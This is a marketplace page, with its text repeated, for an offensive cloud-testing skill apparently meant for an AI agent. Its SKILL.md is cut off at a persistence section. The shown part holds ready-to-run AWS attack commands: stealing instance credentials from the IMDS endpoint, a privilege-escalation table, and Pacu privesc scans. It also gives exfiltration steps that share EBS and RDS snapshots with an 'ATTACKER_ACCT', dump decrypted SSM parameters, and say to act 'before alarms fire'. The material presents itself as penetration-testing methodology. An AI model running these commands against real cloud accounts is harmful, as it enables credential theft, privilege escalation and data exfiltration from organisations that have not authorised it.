offensive-cloud

Name: offensive-cloud
Author: SnailSploit

39installs447forks

How to install offensive-cloud?

snailsploit/claude-red/offensive-cloud

$npx -y skills add SnailSploit/Claude-Red --skill offensive-cloud

Installs into the current project.

Summary

Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM Pass

Files · 1

View on GitHub

SKILL.md

1	# Cloud (AWS / Azure / GCP) — Offensive Testing Methodology
2
3	## Quick Workflow
4
5	1. Identify the cloud and the identity context you have (user, role, service account, instance role)
6	2. Enumerate without writes — `aws sts get-caller-identity`, `az account show`, `gcloud auth list`
7	3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
8	4. Find the data and the persistence anchors before alarms fire
9	5. Document the kill chain with timestamps, identities, and resources for the report
10
11	---
12
13	## AWS
14
15	### Identity Discovery
16
17	```bash
18	aws sts get-caller-identity
19	aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text \| awk -F/ '{print $NF}')
20	aws iam list-attached-role-policies --role-name <role>
21	aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
22	--action-names "*"
23	```
24
25	### IMDS Credential Theft
26
27	```bash
28	# IMDSv1 (legacy)
29	curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
30
31	# IMDSv2 (modern, requires token)
32	TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
33	-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
34	curl -H "X-aws-ec2-metadata-token: $TOKEN" \
35	http://169.254.169.254/latest/meta-data/iam/security-credentials/
36	```
37
38	From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without `Host: 169.254.169.254` and proper `PUT`-then-`GET` flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.
39
40	### Privilege Escalation Paths
41
42	\| Path \| Required Permission \| Outcome \|
43	\|------\|---------------------\|---------\|
44	\| `iam:PassRole` + `lambda:CreateFunction` \| Pass any role to Lambda you create \| Run code as that role \|
45	\| `iam:PassRole` + `ec2:RunInstances` \| Pass any role to EC2 instance \| IMDS → role creds \|
46	\| `iam:CreatePolicyVersion` + `iam:SetDefaultPolicyVersion` \| Edit your own policy \| Self-elevate \|
47	\| `iam:UpdateAssumeRolePolicy` \| On a privileged role \| Add yourself as principal \|
48	\| `iam:CreateLoginProfile` (on user without one) \| Set console password \| Console access \|
49	\| `iam:CreateAccessKey` (on another user) \| Mint keys for someone else \| Persistent access \|
50	\| `sts:AssumeRole` with `sts:TagSession` to ABAC role \| If role trusts session tags \| Tag-based escalation \|
51	\| `cloudformation:CreateStack` + permissive role \| Run any service action \| Indirect arbitrary perms \|
52	\| `glue:UpdateDevEndpoint` \| Inject SSH key into Glue endpoint \| Code exec as Glue role \|
53	\| `ssm:SendCommand` to any instance \| RCE on instances + their roles \| Lateral + escalation \|
54
55	```bash
56	# Pacu — the tooling for AWS escalation
57	pacu
58	> import_keys default
59	> run iam__enum_permissions
60	> run iam__privesc_scan
61	```
62
63	### Cross-Account / Organization
64
65	```bash
66	# Find roles trusting the current account
67	aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
68	# Then grep AssumeRolePolicyDocument.Statement for trusts to your account
69
70	# Org-wide (if Organizations access)
71	aws organizations list-accounts
72	aws organizations list-roots
73	```
74
75	### Data Targets
76
77	```bash
78	# S3
79	aws s3api list-buckets
80	aws s3 ls s3://<bucket> --recursive \| head
81	aws s3api get-bucket-policy --bucket <bucket>
82
83	# Cross-region snapshot share (data exfil without S3)
84	aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
85	--attribute createVolumePermission \
86	--create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"
87
88	# RDS snapshot share
89	aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
90	--attribute-name restore --values-to-add ATTACKER_ACCT
91
92	# Secrets Manager / Parameter Store
93	aws secretsmanager list-secrets
94	aws ssm get-parameters-by-path --path / --recursive --with-decryption
95	```
96
97	### Persistence
98
99	```bash
100	# Cross-account SCP exemption via service-linked role
101	# AWS Config snapshot delivery channel rerouted to attacker bucket

People who liked this also viewed

6 picks

Type

offensive-cloud

39installs447forks

View on GitHub

How to install offensive-cloud?

snailsploit/claude-red/offensive-cloud

$npx -y skills add SnailSploit/Claude-Red --skill offensive-cloud

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Cloud (AWS / Azure / GCP) — Offensive Testing Methodology
2
3	## Quick Workflow
4
5	1. Identify the cloud and the identity context you have (user, role, service account, instance role)
6	2. Enumerate without writes — `aws sts get-caller-identity`, `az account show`, `gcloud auth list`
7	3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
8	4. Find the data and the persistence anchors before alarms fire
9	5. Document the kill chain with timestamps, identities, and resources for the report
10
11	---
12
13	## AWS
14
15	### Identity Discovery
16
17	```bash
18	aws sts get-caller-identity
19	aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text \| awk -F/ '{print $NF}')
20	aws iam list-attached-role-policies --role-name <role>
21	aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
22	--action-names "*"
23	```
24
25	### IMDS Credential Theft
26
27	```bash
28	# IMDSv1 (legacy)
29	curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
30
31	# IMDSv2 (modern, requires token)
32	TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
33	-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
34	curl -H "X-aws-ec2-metadata-token: $TOKEN" \
35	http://169.254.169.254/latest/meta-data/iam/security-credentials/
36	```
37
38	From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without `Host: 169.254.169.254` and proper `PUT`-then-`GET` flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.
39
40	### Privilege Escalation Paths
41
42	\| Path \| Required Permission \| Outcome \|
43	\|------\|---------------------\|---------\|
44	\| `iam:PassRole` + `lambda:CreateFunction` \| Pass any role to Lambda you create \| Run code as that role \|
45	\| `iam:PassRole` + `ec2:RunInstances` \| Pass any role to EC2 instance \| IMDS → role creds \|
46	\| `iam:CreatePolicyVersion` + `iam:SetDefaultPolicyVersion` \| Edit your own policy \| Self-elevate \|
47	\| `iam:UpdateAssumeRolePolicy` \| On a privileged role \| Add yourself as principal \|
48	\| `iam:CreateLoginProfile` (on user without one) \| Set console password \| Console access \|
49	\| `iam:CreateAccessKey` (on another user) \| Mint keys for someone else \| Persistent access \|
50	\| `sts:AssumeRole` with `sts:TagSession` to ABAC role \| If role trusts session tags \| Tag-based escalation \|
51	\| `cloudformation:CreateStack` + permissive role \| Run any service action \| Indirect arbitrary perms \|
52	\| `glue:UpdateDevEndpoint` \| Inject SSH key into Glue endpoint \| Code exec as Glue role \|
53	\| `ssm:SendCommand` to any instance \| RCE on instances + their roles \| Lateral + escalation \|
54
55	```bash
56	# Pacu — the tooling for AWS escalation
57	pacu
58	> import_keys default
59	> run iam__enum_permissions
60	> run iam__privesc_scan
61	```
62
63	### Cross-Account / Organization
64
65	```bash
66	# Find roles trusting the current account
67	aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
68	# Then grep AssumeRolePolicyDocument.Statement for trusts to your account
69
70	# Org-wide (if Organizations access)
71	aws organizations list-accounts
72	aws organizations list-roots
73	```
74
75	### Data Targets
76
77	```bash
78	# S3
79	aws s3api list-buckets
80	aws s3 ls s3://<bucket> --recursive \| head
81	aws s3api get-bucket-policy --bucket <bucket>
82
83	# Cross-region snapshot share (data exfil without S3)
84	aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
85	--attribute createVolumePermission \
86	--create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"
87
88	# RDS snapshot share
89	aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
90	--attribute-name restore --values-to-add ATTACKER_ACCT
91
92	# Secrets Manager / Parameter Store
93	aws secretsmanager list-secrets
94	aws ssm get-parameters-by-path --path / --recursive --with-decryption
95	```
96
97	### Persistence
98
99	```bash
100	# Cross-account SCP exemption via service-linked role
101	# AWS Config snapshot delivery channel rerouted to attacker bucket

People who liked this also viewed

6 picks

Type